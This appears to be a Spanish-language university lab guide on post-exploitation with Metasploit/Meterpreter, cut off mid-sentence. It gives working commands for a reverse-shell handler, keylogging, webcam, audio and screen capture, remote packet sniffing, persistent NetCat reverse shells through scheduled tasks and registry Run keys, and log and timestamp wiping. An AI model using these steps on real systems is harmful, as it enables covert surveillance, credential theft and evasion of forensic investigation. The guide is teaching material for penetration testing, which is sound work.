Está en la página 1de 17

PRUEBAS DE PENETRACIÓN AVANZADAS DE SISTEMAS INFORMÁTICOS

Ing. Vincenzo Mendillo

Diciembre 2020
Objetivo: Familiarizarse con herramientas avanzadas como Metasploit y Meterpreter para realizar actividades de post penetración
(captura de pantalla, cámara, audio, teclado, tráfico, puerta trasera, borrado de rastros), luego de que el atacante haya logrado
penetrar en un equipos ajeno, aprovechándose de las brechas de seguridad existentes en una red y sus servicios o explotando las
vulnerabilidades y fallas en las aplicaciones del lado del usuario.

Requisitos: Efectuar previamente la práctica Pruebas de penetración de sistemas informáticos.

Plataforma: Kali Linux y Windows.

Prácticas relacionadas: Pruebas de penetración con troyanos y ofuscación de código - Ataques de Ingeniería Social mediante SET -
Túneles y canales secretos - Acceso remoto a equipos y sistemas - Auditoría de seguridad de redes y servicios mediante Nessus -
Auditoría de seguridad de redes y servicios mediante LanGuard.

Sección A: Introducción

Metasploit Framework (MSF) es una exitosa plataforma “open source” disponible diseñada específicamente con el objetivo de
facilitar la creación y uso de exploits de todo tipo. Está disponible para Windows y Linux, estando preinstalada en Kali Linux.
Meterpreter (o meta intérprete) es una familia de plugins incorporados en MSF para utilizarlos como exploits contra sistemas
vulnerables, permitiendo penetrar y tomar control de una máquina remota, haciendo el menor ruido posible. Una vez que el exploit
haya funcionado, el intruso tendrá a disposición una serie de comandos y utilidades para actividades de post penetración ( post
exploitation). Meterpreter permite inyectar DLL, subir y bajar archivos, ejecutar scripts y mucho más. Una de sus características es
que todo el código es cargado en la memoria del sistema remoto, sin crear ningún proceso adicional, por lo que es difícil detectarlo.

El uso básico de Metasploit se explica en la guía de la práctica Pruebas de penetración de sistemas informáticos. En las experiencias
que se describen a continuación se realizan actividades de post-explotación y para esto es necesario lanzar previamente desde
Metasploit un ataque contra la máquina remota mediante Meterpreter, tal como se explica en esa práctica anterior y que se resume a
continuación. Para más información consulte los libros de hacking (en particular el capítulo Postexploitation del libro Ethical
Hacking and Penetration Testing Guide) y haga una búqueda en Internet.

En Kali Linux inicie Metasploit en modo texto, simplemente escribiendo msfconsole en Terminal, pero deberá esperar un buen rato
hasta que el prompt msf > aparezca en la pantalla. Luego escriba los siguientes comandos:

info exploit/multi/handler
use exploit/multi/handler
show payloads
info windows/meterpreter/reverse_tcp
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.0.250
set lport 443
show options
exploit

En la máquina Windows de la víctima abra el archivo HotGirl.zip mediante TugZip.exe cual se había instalado en la práctica
Pruebas de penetración de sistemas informáticos. Alternativamente corra algunos de los troyanos que se habían creando en la
práctica Pruebas de penetración con troyanos.

En cualquiera de esas 2 formas debería activarse sigilosamente el exploit, intentando conectarse con Meterpreter y si todo sale bien,
se. abrirá una sesión. Nota: posiblemente ninguna de estas 2 formas de ataque funcione en Windows 8; en tal caso pruebe con otro
exploit, si desea continuar esta práctica.
-2-

Meterpreter (o meta intérprete) es una familia de avanzados plugins incorporados en Metasploit, listos para utilizarse contra
sistemas vulnerables, permitiendo realizar sofisticados ataques con el menor ruido posible al i nteractuar con la máquina remota. Su
actividad sigilosa no es fácilmente detectada por un antivirus, firewall o IDS, ya que se ejecuta como un proceso en la memoria, sin
escribir nada, por lo que no deja rastros. La comunicación entre Meterpreter y la máquina remota viaja encriptada para que no
levante sospechas y no pueda ser entendida.

Para apreciar la potencia de Meterpreter, escriba help y vea la lista de las muchas e interesantes funciones que ofrece. También
puede buscar una lista completa en Internet. Para empezar, pruebe por ejemplo los siguientes comandos sencillos: sysinfo,
getuid, pwd, ps.

En las experiencias que siguen se utilizarán algunas de las funciones más avanzadas disponibles en Meterpreter, pero antes es
conveniente migrar a otro proceso (por ejemplo firefox o iexplorer). Entonces escriba ps y así verá la lista de los procesos activos
en la máquina remota.

Tome nota del PID correspondiente a firefox.exe o iexplore.exe (en el ejemplo 5640) y escriba migrate 5640. El resultado
debería ser lo siguiente:

La emigración del script de Meterpreter a otro proceso también se utiliza para camuflar otro popular tipo de ataque con Meterpreter,
que consiste en enviar un archivo infectado a la víctima utilizando ingeniería social. En tal caso el nombre del archivo aparecería en
la lista de los procesos, haciendo más evidente el exploit, por lo que resulta prudente disfrazarlo bajo otro proceso activo.

Ahora en Windows puede cerrar TugZip.exe (si el que ya no se cerró) y el control remoto se efectúa a través del otro proceso (en el
ejemplo Internet Explorer). En Meterpreter escriba sysinfo para chequear que la sesión sigue abierta.

Sección B: Captura de pantalla, cámara y audio remotos


-3-
Meterpreter dispone de numerosos módulos y script elaborados por terceros (usualmente en Ruby) y que pueden ser muy útiles
durante un test de penetración, una vez que se haya tomado control de la máquina remota ( post exploitation). Esos scripts se corren
como se muestra en la figura.

Para listar los scripts disponibles, escriba run <espacio><tab><tab>

Entre los centenares disponibles se encuentran los siguientes:


 The 'checkvm' script, as its name suggests, checks to see if you exploited a virtual machine. This information can be very
useful.
 The 'enum_logged_on_users' script enumerates current logged users and users that have logged in to the system.
 The 'winenum' script makes for a very detailed windows enumeration tool. It dumps environment variables, network
interfaces, routing, user accounts, tokens, hashes and much more.
 The 'remotewinenum' script enumerates system information through wmic on victim. Make note of where the logs are stored.
 The 'scraper' script can grab even more system information, including the entire registry.
 The 'enum_chrome' script extracts data from a Chrome web browser installation.
 The 'enum_firefox' script extracts data from Firefox web browser installation
 The 'hostsedit' script is for adding entries to the Windows hosts file. Since Windows will check the hosts file first instead of
the configured DNS server, it will assist in diverting traffic to a fake entry or entries. Either a single entry can be provided or
a series of entries can be provided with a file containing one entry per line.
 The 'killav' script can be used to disable most antivirus programs running as a service on a target.
 The 'getcountermeasure' script checks the security configuration on the victims system and can disable other security
measures such as A/V, Firewall, and much more.

A continuación se probarán algunos de esos scripts. Es posible que algunos no funcionan debido a la presencia de un sistema
antivirus o que está activado UAC (Control de cuentas de usuario) que impide cambios no autorizados en el equipo cuando se
requiera permisos a nivel de administrador o a nivel de sistema.

Por ejemplo, para averiguar si la máquina remota es real o es una máquina virtual, escriba run checkvm.

Para listar (enumerar) muchos de los parámetros de configuración de la máquina remota, escriba run winenum. (Nota: lleva
algún tiempo).
-4-

Los resultados se guardan en la carpeta /root/.msf4/logs/scripts/winenum

Meterpreter dispone de un script que permite espiar a través de la grabadora de sonido remota. Escriba run sound_recorder
–i 2. La ayuda para este comando es: run sound_recorder -h

Con Meterpreter se puede capturar el escritorio remoto y guardar la imagen en la máquina local. Escriba use espia y luego
screenshot. Vaya a la carpeta donde se guardó el archivo y haga clic sobre ese archivo para abrirlo.

En ciertos casos la captura no funciona. Entonces una posible solución es “emigrar” el script de Meterpreter a un proceso remoto de
Windows que tenga acceso al escritorio activo, tal como Firefox o Internet Explorer. El procedimiento se explica en la siguiente
sección y también en la guía de la práctica Pruebas de penetración de sistemas informáticos.

Meterpreter dispone de un módulo que permite espiar a través de la cámara web remota. Para verificar si hay una cámara instalada,
escriba webcam_list. Si la cámara está activa, puede capturar una instantánea escribiendo webcam_snap.

Adicionalmente es posible observar un live video stream a través del web browser escibiendo run webcam
-5-

La ayuda para este comando es: run webcam -h

In early 2014 a hacker was sentenced to 18 months for doing just this to Miss Teen USA 2013. He broke into her computer, took a
few clicks and blackmailed the victim to send more photos.

Sección C: Captura del teclado con keylogger remoto


Meterpreter puede operar como un keylogger remoto del sistema hackeado, sin escribir nada en el disco, dejando una huella mínima
para los investigadores forenses. Es ideal para espiar contraseñas, cuentas de usuario y todo tipo de información valiosa. En
realidad, la captura no se efectúa directamente interceptando el teclado, sino a través del proceso remoto controlado por Meterpreter
(usualmente svchost.exe). Para lograr capturar lo que la víctima escribe (por ejemplo en Word, Firefox o Internet Explorer), hay que
“emigrar” el script de Meterpreter a ese proceso. Escriba ps y así verá la lista de los procesos activos en la máquina remota.

Tome nota del PID correspondiente a firefox.exe o iexplore.exe (en el ejemplo 5640) y escriba migrate 5640. El resultado
debería ser lo siguiente:
-6-
Seguidamente puede empezar a capturar mediante el comando keyscan_start. Espere un tiempo hasta que la víctima escriba
algo en Internet Explorer (o hágalo Ud. mismo si es su propia máquina). Luego con el comando keyscan_dump podrá ver lo que
la víctima tecleó en la aplicación a la cual el atacante migró.

Con el comando keyscan_stop se termina el script.

Tome en cuenta que si la víctima cierre la aplicación (en este ejemplo Internet Explorer), el atacante pierde su conexión con la
víctima. Esto también podría ocurrir porque la aplicación se pone muy lenta debido al exploit y entonces el usuario la cierra.

Si desea capturar información durante el login de un usuario, emigre el proceso a winlogon. Con esto podría capturar las
credenciales de los distintos usuarios que inician sesión en el sistema (claro está si no apagan la máquina). Sin embargo la
emigración no resulte si está activado el UAC (Control de cuentas de usuario).

Sección D: Captura de tráfico con sniffer remoto (opcional)


El autor de Metasploit, H.D. Moore, lanzó hace algún tiempo una novedosa función o módulo para Meterpreter, que opera de forma
sigilosa, capturando paquetes desde/hacia la red en la máquina remota, pero sin tocar el disco duro. Es un sniffer que utiliza el
MicroOLAP Packet Sniffer SDK, que no requiere instalar ningún driver o escribir en los archivos del sistema. Es lo suficientemente
inteligente para darse cuenta de su propio tráfico, así pues elimina automáticamente el tráfico de la interactividad de Meterpreter.
Además los pipes de Meterpreter mueven toda la información a través de un túnel encriptado SSL/TLS. El sniffer puede almacenar
hasta 200.000 paquetes en el buffer y también exportarlos al formato standard PCAP, lo cual permite luego leerlos y procesarlos
con tcpdump o Wireshark, entre otros.

Para cargar el módulo de captura, escriba use sniffer y luego puede utilizar los siguientes conmandos:

 sniffer_interfaces - List all remote sniffable interfaces


 sniffer_start - Capture packets on a previously opened interface
 sniffer_dump - Retrieve captured packet data
 sniffer_stats - View statistics of an active capture
 sniffer_stop - Stop packet captures on the specified interface

En primer lugar averigue las interfaces disponibles mediante el comando sniffer_interfaces. Aquí es posible que aparezca
el mensaje: Operation failed: The storage control blocks were destroyed. Esto significa que está activado el UAC (Control de
cuentas de usuario) y podría intentar saltarlo, como se explica en la práctica Ataque a las contraseñas de Windows. De lograrlo, se
muestran varias interfaces, algunas virtuales (VMware o VirtualBox). Mediante ifconfig puede averiguar la que corresponde.
Anote el identificador de la interfaz que le interesa (ej. 1) y luego ejecute sniffer_start 1. Con Windows 7 y superior no es
fácil averiguar ese identificador.

Para saber cómo marcha la captura, ejecute sniffer_stats 1. Cuando haya capturado un buen número de paquetes y para
que no se llene el buffer, guarde la captura en un archivo ejecutando sniffer_dump 1 /root/captura1.pcap. Puede
volver a ejecutar este comando cada minuto, por ejemplo, para ir acumulando la captura en ese mismo archivo.

Finalmente ejecute sniffer_stop 1 y ahora podría utilizar Wireshark para analizar los datos interceptados.
-7-

Sección E: Implantación de rootkits y puertas traseras (opcional)


Una de las acciones que suele llevar a cabo un intruso, una vez que logra hackear e ingresar a un sistema,
es instalar un rootkit, el cual le facilita el acceso y control remoto de la máquina de allí en adelante. El
nombre rootkit se origina a partir de la idea de que quien lo utiliza puede acceder fácilmente como si
fuera root, o administrador del sistema. Un buen rootkit permite esconder las actividades del intruso
mediante técnicas muy sofisticadas. Por ejemplo, si el intruso colocó una puerta trasera (backdoor) para
llevar a cabo tareas de espionaje y control remoto, el rootkit ocultará los puertos abiertos que delaten la
comunicación; o si hay un sistema para enviar spam, ocultará la actividad del sistema de correo.

A menudo un rootkit reemplaza archivos de programa del sistema con versiones modificadas, para que se
ejecuten determinadas actividades. El objetivo es imitar exactamente el comportamiento de las
aplicaciones originales, pero escondiendo los procesos, archivos, acciones y evidencias del intruso. En otras palabras, una vez
instalado el rootkit, en principio, el intruso podrá utilizar el sistema sin ser detectado. Si el usuario o el administrador intenta ver
qué procesos están ejecutándose, el rootkit mostrará información falsa, listando todos los procesos excepto él mismo y los que está
ocultando. O si se intenta ver una lista de los archivos de un sistema, el rootkit hará que se muestre esa información pero ocultando
la existencia del propio archivo del rootkit..

Hay rootkits para una amplia variedad de sistemas operativos, como Microsoft Windows, Linux, Solaris o Android. En el caso de
Linux, algunos de los archivos que un intruso intenta “troyanizar” son: login, su, telnet, netstat, ifconfig, ls, find, du, df, libc, sync ,
así como los binarios listados en /etc/inetd.conf.

Como se puede apreciar, los rootkits representan un gran riesgo para la seguridad de un sistema, por lo tanto es de vital importancia
conocer su funcionamiento y los mecanismos para detectarlos. Por ejemplo, se puede realizar un escaneo completo de los puertos
del equipo sospechoso, con el fin de detectar puertas traseras que estén escuchando en puertos que normalmente no se utilizan. Para
diferenciar los ejecutables legítimos de los troyanos, se suelen utilizar algoritmos de hash de chequeo de suma. Dichos algoritmos,
como MD5 y SHA, garantizan que la única forma de que el resultado de la suma sea igual para dos archivos, es que los dos
archivos sean perfectamente idénticos. De esta forma, un administrador precavido debe almacenar los checksum de su sistema en
dispositivos externos, tales como pendrive o CD-ROM/DVD, para así poder, más adelante, identificar la presencia de un evuentual
rootkit comparando dichos números con los generados por un programa de chequeo en un momento determinado.

Una famosa herramienta diseñada para este fin es Tripwire, que lleva el control de integridad sobre los archivos del sistema en
Unix/Linux. Rkhunter (o Rootkit Hunter) es una herramienta que detecta rootkits, backdoors y exploit locales mediante la
comparación de los hashes MD5 de archivos importantes con su firma correcta en una base de datos en línea, buscando los
directorios por defecto (de rootkits), los permisos incorrectos, los archivos ocultos, las cadenas sospechosas en los módulos del
kernel y las pruebas especiales para Linux y FreeBSD.

Otra herramienta popular es chkrootkit, un shell script que busca en el sistema archivos binarios modificados por rootkits. Pero la
confianza en chkrootkit puede verse afectada, ya que al ser un shell script y basarse en herramientas como echo, cut, awk, egrep,
find, id, ls, netstat, head, ps, strings, etc, éstas pueden contener algún tipo de troyano. La solución se basa en añadir un parámetro
que indique a chkrootkit donde debe buscar estas herramientas. Puede buscarlas en un CD-ROM/DVD o un pendrive.

Si finalmente se confirma la presencia de un rootkit, va a ser muy díficil limpiar el sistema y lo más prudente es reinstalar todo
desde un backup o mejor aún desde cero.

En esta sección no se harán pruebas con rootkits, lo cual es bastante complejo, pero se experimentará con la implantación de una
puerta trasera persistente con el fin de facilitar futuros acceso luego de haber penetrado la máquina de la víctima mediante
Meterpreter. El problema con Meterpreter es que si la víctima apaga y reinicia la máquina, entonces el atacante pierde el control.
Para mantener el eccesose requiere implantar una puerta trasera que se inicie automáticamente cuando se enciende el equipo.
-8-

Para tal fin puede utilizar NetCat, una conocida herramienta disponible para sistemas Linux, Windows y
Apple. Permite abrir puertos TCP/UDP en una máquina (quedando NetCat a la escucha) o asociar una shell a
un puerto en concreto (para conectarse por ejemplo remotamente a cmd.exe en Windows o al intérprete bash
de Linux). NetCat fue desarrollado en 1996 por un hacker conocido como Hobbit, con el fin de resolver las
limitaciones de Telnet. El nombre proviene del comando básico de Unix llamado cat que concatena archivos e
imprime a la salida estándar. NetCat hace básicamente lo mismo, pero en vez de concatenar archivos,
concatena direcciones y puertos TCP/UDP. NetCat tiene una infinidad de usos en forma análoga a la famosa
navaja del ejercito suizo. Sus capacidades hacen que a menudo sea usado para crear una puerta trasera una vez
hackeado un sistema y obtenido privilegios de administrador (o root) en el equipo de la víctima. Un variante de NetCat es CryptCat,
que adicionalmente cifra los datos. En la práctica Túneles y canales secretos se enseña el uso de NetCat.

NetCat viene incluido y listo para ser usado desde Kali Linux. Para para ver la ayuda con la lista de opciones, desde un terminal
escriba nc -h

Al igual que Telnet, NetCat se puede utilizar para conectarse a un puerto de otro servicio, por ejemplo 80 (HTTP) o 25 (SMTP),
para fines de diagnóstico y pruebas. Por ejemplo, desde la línea de comandos escriba nc mail.cantv.net 25 para así
conectarse a un servidor SMTP de correo. Luego escriba helo cantv.net

Para crear una puerta trasera en la máquina de la víctima mediante NetCat, debe empezar por subir a esa máquina la versión de
NetCat para Windows que se encuentra en la carpeta Tuneles\NetCat del material de apoyo. También se encuentra en Kali Linux en
/usr/share/windows-binaries.
-9-

En Meterpreter escriba upload /usr/share/windows-binaries/nc.exe C:\\Publico\\nc.exe. Observe el uso


del doble backslash en este comando.

En un caso real para esconder nc.exe, lo podría subir a una carpeta menos visible, por ejemplo:

upload /usr/share/windows-binaries/nc.exe C:\\WINDOWS\\system32\\nc.exe

Meterpreter se pone lento y es fácil equivocarse al escribir comandos tan largos, por lo que es conveniente usar las funciones de
cortar y pegar mediante el botón derecho. Una solución es escribir primero en otro terminal de Kali Linux luego copiar a
Metasploit.

En Meterpreter cámbiese al directorio donde subió NetCat mediante cd \\Publioo o cd \\Windows\\system32 y


compruebe que el archivo nc.exe fue subido correctamente.

En otro terminal de Kali Linux escriba nc -vlp port [hostname], por ejemplo nc -vlp 80. De esta forma se activa un
proceso que escucha (listen) por un port (ej. 80) desde cualquier dirección IP. El parámetro -v (verbose) muestra los detalles
de lo que ocurre mientras que vv muestra más detalles. Si especifica hostname, entonces la conexión debe provenir de una
máquina espécifica (ej. la víctima en 192.168.0.102).

En la ventana de Meterpreter escriba: execute -H -c -i –f "nc.exe hostname port -e cmd.exe". Por ejemplo
execute -H -c -i -f "nc.exe 192.168.0.250 80 -e cmd.exe". Aquí hostname es la dirección IP de la
máquina remota de atacante (ej. 192.168.0.250). El parámetro -e especifica el archivo a ejecutar cuando se establezca la conexión.

Si todo sale bien (lo cual no siempre sucede), se establecerá una segunda conexión inversa y ahora en el otro termianl Ud. dispone
de la línea de comandos en la máquina remota, donde puede hacer una gran cantidad de cosas, pero claramente no puede correr
aplicaciones gráficas. Además los comandos están limitados por los permisos que se tenga sobre el sistema.
-10-

Si escribe help, verá una lista de los algunos de los comandos inmediatamente disponibles. Consulte la guía de la práctica Pruebas
de penetración de redes y servicios para más ejemplos con el shell remoto.

Para ver bien las letras acentuadas y otros caracteres especiales, en el menú de Terminal en Kali Linux seleccione Set Character
Encoding | Western IBM850.

Si escribe netstat -an, notará que aparecen las 2 sesiones TCP establecidas entre las 2 máquinas.

Lo más interesante es que si se cierra de sesión de Meterpreter por parte de la víctima o del atacante, se sigue manteniendo el shell
remoto. Pero si la víctima apaga y reinicia la máquina, entonces evidentemente el atacante pierde ese shell remoto, es decir la
puerta trasera no es persistente o permanente. Una primera solución consiste en programar una tarea (mediante el comando AT),
para que NetCat corra a ciertas horas y días. Una segunda solución consiste en modificar el Registro de Windows a fin de que
NetCat se inicie con el encendido del equipo .

La primera solución es quizás la más fácil. Desde la línea de comandos en Terminal escriba AT -h para ver las opciones
disponibles. Se requiere poseer una cuenta con privilegios altos para ejecutar este comando.

Ahora escriba un comando como el siguiente:


AT 18:30 /every:L,M,Mi,J,V,S,D C:\Publico\nc.exe 192.168.129.134 443 -e cmd.exe

La hora se especifica como horas:minutos, tomando como base un reloj de 24 horas. Por ejemplo, 0:00 representa la medianoche y
20:30 representa las 8:30 p.m. Para hacer una prueba, ponga la hora que corresponda a 10 minutos después la hora que marca su
equipo (ej. 18:20). La fecha se especifica como uno o varios días de la semana (M, T, W, Th, F, S, Su) o uno o varios días del mes
(números de 1 a 31). Utilizar las comas para separar varias entradas de fecha. Si se omite este parámetro, la tarea se programa para
ejecutarse el día actual.

Para ver la lista de las tareas programadas, escriba simplemente AT.

Tome en cuenta que si la víctima es suspicaz, también podría ver la lista de las tareas programadas mediante el comando AT desde
su propia ventana de comandos.

Para borrar una tarea programada, escriba AT ID /delete, donde ID es el # del identificador del job (normalmente 1).

Para verificar si la la tarea funciona correctamente, termine la sesión de shell remoto escribiendo mediante exit. También termine
la sesión de Meterpreter mediante exit o pulse Ctr+C. Un poco antes de la hora y fecha programada, en un terminal de Kali Linux
escriba nc -vlp port, por ejemplo nc -vlp 80. De esta forma se activa un proceso que escucha (listen) por el puerto 80
desde cualquier dirección IP.

Espere un rato y al llegar la hora, debería activarse la conexión y usted debería obtener el shell remoto en el terminal de Kali Linux .
Si no quiere esperar y tiene acceso a la máquina de la víctima, desde Windows vaya a la lista de de tareas mediante Accesorios |
Herramientas del sistemas | Programador de tareas y allí podrá ejecutar esa tarea.
-11-

La segunda solución que se mencionó anteriormente, consiste en modificar el Registro de Windows a fin de que nc.exe se active
con el encendido del equipo. Para tal fin se utiliza la función reg de Meterpreter. Escriba simplemente reg para así conocer las
opciones de uso (pero antes debe terminar la sesión remota con Meterpreter mediante exit).

Para averiguar que programas se inician durante el arranque, escriba:


reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

Para añadir un nuevo valor al registro, escriba:


reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d
"C:\Publico\\nc.exe 192.168.0.250 80 -e cmd.exe"

Para verificar si el cambio se efectuó, escriba:


reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run

Para más información, consulte la sección sobre el Registro de Windows en la guía de la práctica sobre Configuración y operación
de Windows.

Para completar está sección, analice los aspectos de confidencialidad de las experiencias anteriores. Pruebe a repetir las pruebas
utilizando CryptCat, que funciona igual que NetCat, pero cifra los datos mediante el algoritmo Twofish.

Sección F: Borrando las huellas de una intrusión con clearev (opcional)

Penetrar en un sistema e interactuar con sus archivos es como caminar en la nieve: se dejan huellas, las cuales pueden ser
descubiertas y eventualmente llevar hasta el atacante. La Forénsica Digital (en inglés Computer Forensics) se encarga de la
recolección, inspección, identificación, extracción, preservación, análisis, interpretación y documentación de las pruebas
relacionadas con incidentes o delitos cometidos utilizando sistemas informáticos. En contraposición a la forénsica existe lo que se
podría denominar la antiforénsica, la cual engloba las técnicas y artilugios utilizados por los intrusos y delicuentes para encubrir y
no dejar rastros de sus actividades.

El principal objetivo de la antiforénsica es evitar que la evidencia sea encontrada por los investigadores y en caso de que estos la
encuentren, disminuir sustancialmente la validez que se le puede otorgar a dicha evidencia en un juicio formal. Esto implica que se
deben destruir, desmantelar o en su defecto modificar todas las pruebas útiles. Ese lo mismo que en la vida real cuando ocurre un
crimen: el criminal desea destruir todo rastro o evidencia y se vale de una serie de subterfugios para lograr ese objetivo.

Mediante la falsificación de la evidencia se busca engañar y crear falsas pruebas para los investigadores, intentando así encubrir al
-12-
verdadero autor, incriminando a terceros o desviando la investigación. Para tal fin se fabrican evidencias incorrectas y falsas que
corrompen y dañan la validez de las pruebas en una investigación forense formal, por lo cual podrían no ser tomadas en cuenta
como evidencias sustentables.

En ciertos casos no hace falta destruir las pruebas, puesto que ni existen. Por ejemplo, cuando un criminal utiliza guantes de goma
para disparar una pistola, es para no dejar huellas dactilares en el arma. O si no usa guantes, borra las huellas con un trapo. En el
campo de la informática se desactivan o se borran los log de auditoría del sistema. Una de las técnicas antiforense que utiliza
Meterpreter es cargarse en memoria sin escribir nada en el disco, minimizando en gran medida la posibilidad de dejar huellas en el
sistema.

A continuación se hará una serie experiencias básicas sobre la manipulación de la evidencia mediante Meterpreter en una máquina
Windows remota que haya sido hackeada.

Los logs de auditoría más importantes de Windows se pueden auditar mediante el Visor de sucesos. Lo puede abrir simplemente
ejecutando eventvwr. Luego haga clic sucesivamente sobre Registro de aplicación, Registro de seguridad, Registro de instalación y
Registro del sistema para así explorar y analizar la lista de los sucesos ocurridos. Haciendo doble clic sobre un evento, se muestran
más detalles del mismo.

El registro de aplicación contiene los sucesos registrados por aplicaciones o programas. Por ejemplo, un programa de base de datos
SQL podría reportar aquí algún tipo de error. El registro de seguridad reporta sucesos de seguridad como los intentos válidos o no
válidos de inicio de sesión, así como los sucesos relacionados con el uso de recursos como, por ejemplo, crear, abrir o eliminar
archivos. Un administrador puede especificar los sucesos que se reportarán en el registro de seguridad. Por ejemplo, si se habilitó la
auditoría de inicio de sesión, se registrarán en el registro de seguridad los intentos de inicio de sesión en el sistema. Los usuarios
pueden ver los registros de aplicación y del sistema, pero sólo los administradores pueden tener acceso a los registros de seguridad.
El registro del sistema contiene sucesos reportados por componentes del sistema operativo. Por ejemplo, un error de carga de un
controlador u otro componente del sistema durante el inicio, queda registrado aquí.

Una supervisión cuidadosa de los registros de sucesos puede ayudar a predecir e identificar el origen de los problemas del sistema.
Por ejemplo, si las advertencias del registro muestran que un controlador de disco sólo puede leer o escribir en un sector después de
varios intentos, es muy probable que ese sector produzca errores alguna vez. Los registros también pueden confirmar problemas del
software. Si una aplicación da error, el registro de sucesos de aplicación puede proporcionar un registro de la actividad que conduce
al suceso.

Hay varios tipos de eventos:


 Error: Un problema importante, como una pérdida de datos o de funcionalidad. Por ejemplo, si no se puede cargar un servicio
durante el inicio, se registrará un error.
 Advertencia: Suceso que no es importante necesariamente, pero que indica la posibilidad de problemas en el futuro. Por
ejemplo, cuando queda poco espacio de disco.
 Información: Un suceso que describe el funcionamiento correcto de una aplicación, un controlador o un servicio. Por ejemplo,
cuando se carga correctamente un controlador de red.
 Acceso correcto auditado: Un intento de acceso de seguridad correcto. Por ejemplo, un intento satisfactorio de inicio de sesión
en el sistema de un usuario.
 Acceso erróneo auditado: Un intento de acceso de seguridad auditado erróneo. Por ejemplo, si un usuario intenta tener acceso a
una unidad de red y no lo consigue.

Los registros de eventos se configuran con un tamaño máximo que determina cuántas entradas puede contener cada registro.
Cuando un registro de eventos está lleno, empezará a sobrescribir las entradas más antiguas con las nuevas entradas.

De forma predeterminada, los registros de seguridad están activados. Las auditorías de aciertos generan una entrada de auditoría
cuando un intento de inicio de sesión tiene éxito. Las auditorías de errores generan una entrada de auditoría cuando un intento de
inicio de sesión falla. Los aciertos, como norma general, generarán un gran volumen de información. La revisión sistemática de los
logs de seguridad es importante. Se aconseja leer la siguiente historia.
-13-

En el Visor de eventos haga clic con el botón derecho sobre un tipo de registro (ej. Seguridad). Así puede vaciar el registro,
configurarlo o aplicar un filtro.

Seleccione Guardar todos los eventos como. Lo puede llamar Eventos - Backup. Esto se hace con el fin de preservar la evidencia y
poder luego compararlo con el registro modificado por Metasploit.

Desde la máquina del atacante (es decir desde Meterpreter) ejecute el comando clearev que intenta borrar todos los eventos
registrados en la máquina de la víctima. Para los fines de esta experiencia se asume que Ud. tiene una sesión de Meterpreter abierta
y que puede ejecutar comandos directamente sobre la máquina de la víctima.

Si esa máquina es Windows XP, el comando es exitoso:

Si en cambio esa máquina es Windows 7 o un sistema Windows más reciente, el comando no es exitoso:

In Windows XP event logs are stored in C:\Windows\System32\Config. In Windows 7 and Windows 8, these logs are stored in
C:\Windows\System32\winevt\Logs and are named Application.evtx, Security.evtx, System.evtx, etc. Typically, these files are
locked by an Event Logger service running on the system, preventing a user from simply deleting the files. In Windows XP the event
logs were vulnerable to deletion easily from the command line. By simply stopping the Windows services associated with the event
logs, an intruder could then manually delete or rename the entries. However, additional file controls within Windows 7 has made it
difficult to simply remove or edit those files.

Sección G: Borrando las marcas de tiempo de una intrusión con timestomp (opcional)
El alterar o borrar los archivos del sistema no es suficiente para eliminar la evidencia de una penetración, ya que usualmente se
dejan rastros en otras partes, por ejemplo en el Registro de Windows. Además en muchos casos es inevitable tener que interactuar
con los archivos de alguna manera y entonces pueden quedar alteradas las marcas de tiempo (timestamps), conocidas como MAC
times, que representan los tiempos de modificación, acceso y creación del archivo (o directorio), delatando así la intrusión. El
tiempo de modificación M es la última vez que un archivo fue editado. El tiempo de acceso A es la última vez que se realizó un
acceso a un archivo (por ejemplo para leerlos). El tiempo de creación C es la hora y fecha en que se creó el archivo.

En Windows se pueden ver las 3 marcas de tiempo MAC haciendo clic con el botón derecho sobre un archivo cualquiera y
seleccionando Propiedades. En realidad, Windows Explorer indica como último acceso el momento el momento actual, pero es
incorrecto. La resolución de tiempo A es de una hora, es decir que si usted repite esa misma acción dentro de una hora o menos, el
-14-
tempo A no se actualiza. En Windows 7 el tiempo A no se actualiza nunca y entonces usualmente A = C.

En Windows el tiempo M de un archivo no cambia, a menos que se edite. El tiempo C no cambia si se mueve al mismo volumen,
pero cambia si se copia o mueve al mismo o a otro volumen, y entonces aparecerá C posterior a M. Los tiempos MAC de un
directorio son modificados cuando se agregan o quitan archivos a ese directorio. Cuando se transfieren archivos a través de las
redes, por lo general el tiempo M se conserva y el tiempo C es el actual (es decir que C > M). Sin embargo en ciertos tipos de
descarga (ej, vía FTP) también M se modifica.

En Windows existe un área al inicio de cada volumen, llamada MFT (Master File Table), que contiene los meta-archivos
$STANDARD_INFO y $FILE_NAME donde hay información adicional sobre cada uno de los archivos del volumen. Los archivos
del tipo $DATA que empiezan con $ contienen metadatos y no son visibles normalmente. En particular, allí están los 3 tiempos
MAC, que ya se mencionaron anteriormente. En realidad, los meta-archivos de un medio digital (ej. disco duro) guardan mucha
más información que simplemente los 3 tiempos MAC. De hecho, en NTFS se guarda un cuarto tiempo llamado E (de Entry) que
indica el tiempo en que algún parámetro MAC fue modificado. De manera que en realidad se trata de tiempos MACE y no
simplemente los tiempos MAC.

En Linux el comportamiento es parecido a Windows, pero usualmente no se actualiza el tiempo de acceso (atime) de un archivo
ejecutable, cuando el mismo es ejecutado. El tiempo de creación (ctime), más bien es el tiempo de cambio, ya que corresponde a
cuando se alteraron los metadatos del inode del archivo, tales como los derechos de acceso y el propietario. El tiempo de
modificación (mtime) corresponde a la última vez que un archivo fue editado. Como se ve, es asunto de las marcas de tiempo es
algo complicado, tanto en Windows como en Linux.
.

En Linux el comando stat permite averiguar la información sobre el inode de un archivo. Pruebe ese comando en un terminal de
Kali Linux con un archivo cualquiera, por ejemplo /usr/share/windows-binaries/nc.exe

El comando touch permite cambiar los tiempos atime y mtime (aunque no ctime).
-15-

Asumiendo que tiene abierta una línea de comandos de una máquina Windows remota a través de Meterpreter, ejecute dir. (Si no la
tiene, ejecute previamente shell). El comando dir despliega el contenido del directorio actual y el tiempo M de modificación, es
decir de escritura (W).

Escriba dir C:\ /T:A para de esta forma ver los tiempos A del último acceso.

Escriba dir C:\ /T:C para de esta forma ver los tiempos C de creación.

Escriba dir C:\ /T:W para ver los tiempos C de escritura, es decir de modificación M.

Repita los comandos anteriores para ver los tiempos MAC de un archivo (ej. dir \Publico\nc.exe).

Al intruso que ha penetrado en un sistema y ha leído o modificado archivos, no le conviene que se detecte la intrusión, por lo que
intenta restablecer los tiempos MACE de los archivos a su valor anterior utilizando el módulo timestomp, una herramienta
